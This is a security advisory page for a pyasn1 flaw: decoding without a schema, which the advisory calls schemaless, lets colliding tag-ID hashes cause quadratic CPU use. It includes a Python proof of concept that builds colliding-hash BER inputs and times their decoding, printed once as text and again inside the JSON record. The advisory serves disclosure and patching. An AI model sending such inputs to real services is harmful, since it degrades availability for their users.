GHSA-FM9C-5RCF-2Q5P

Vulnerability from github – Published: 2026-10-30 23:03 – Updated: 2026-10-30 23:03
VLAI
Summary
pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding
Details

Summary

When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.

Details

ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.

Proof of concept

Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:

import sys
import time

from pyasn1.codec.ber import decoder
from pyasn1.type import univ


def enc_tag(tag_id):
    groups = [tag_id & 0x7f]
    tag_id >>= 7
    while tag_id:
        groups.append((tag_id & 0x7f) | 0x80)
        tag_id >>= 7
    return b'\xbf' + bytes(reversed(groups))


def payload(tag_ids):
    body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A'
                    for tag_id in tag_ids)
    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')
    return b'\x30' + bytes([0x80 | len(length)]) + length + body


for count in (3200, 6400):
    cases = (
        ("collision", [32 + i * sys.hash_info.modulus
                       for i in range(count)]),
        ("control", [(1 << 70) + i for i in range(count)]),
    )
    for name, tag_ids in cases:
        wire = payload(tag_ids)
        start = time.process_time()
        value, remainder = decoder.decode(wire)
        cpu_seconds = time.process_time() - start

        assert type(value) is univ.Sequence
        assert len(value) == count and remainder == b''
        for position, tag_id in enumerate(tag_ids):
            component = value.getComponentByPosition(position)
            assert component.asOctets() == b'A'
            assert component.tagSet[-1].tagId == tag_id

        print(count, name, len(wire), round(cpu_seconds, 3))

Impact

Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyasn1"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.3.3"
            },
            {
              "fixed": "0.6.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-119194"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-30T23:03:37Z",
    "nvd_published_at": "2026-10-29T20:17:30Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nWhen an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.\n\n### Details\n\nConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component\u2019s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order.  On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.\n\n### Proof of concept\n\nRun this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:\n\n```python\nimport sys\nimport time\n\nfrom pyasn1.codec.ber import decoder\nfrom pyasn1.type import univ\n\n\ndef enc_tag(tag_id):\n    groups = [tag_id \u0026 0x7f]\n    tag_id \u003e\u003e= 7\n    while tag_id:\n        groups.append((tag_id \u0026 0x7f) | 0x80)\n        tag_id \u003e\u003e= 7\n    return b\u0027\\xbf\u0027 + bytes(reversed(groups))\n\n\ndef payload(tag_ids):\n    body = b\u0027\u0027.join(enc_tag(tag_id) + b\u0027\\x03\\x04\\x01A\u0027\n                    for tag_id in tag_ids)\n    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, \u0027big\u0027)\n    return b\u0027\\x30\u0027 + bytes([0x80 | len(length)]) + length + body\n\n\nfor count in (3200, 6400):\n    cases = (\n        (\"collision\", [32 + i * sys.hash_info.modulus\n                       for i in range(count)]),\n        (\"control\", [(1 \u003c\u003c 70) + i for i in range(count)]),\n    )\n    for name, tag_ids in cases:\n        wire = payload(tag_ids)\n        start = time.process_time()\n        value, remainder = decoder.decode(wire)\n        cpu_seconds = time.process_time() - start\n\n        assert type(value) is univ.Sequence\n        assert len(value) == count and remainder == b\u0027\u0027\n        for position, tag_id in enumerate(tag_ids):\n            component = value.getComponentByPosition(position)\n            assert component.asOctets() == b\u0027A\u0027\n            assert component.tagSet[-1].tagId == tag_id\n\n        print(count, name, len(wire), round(cpu_seconds, 3))\n```\n\n### Impact\n\nApplications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.",
  "id": "GHSA-fm9c-5rcf-2q5p",
  "modified": "2026-10-30T23:03:37Z",
  "published": "2026-10-30T23:03:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-119194"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyasn1/pyasn1/pull/132"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyasn1/pyasn1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.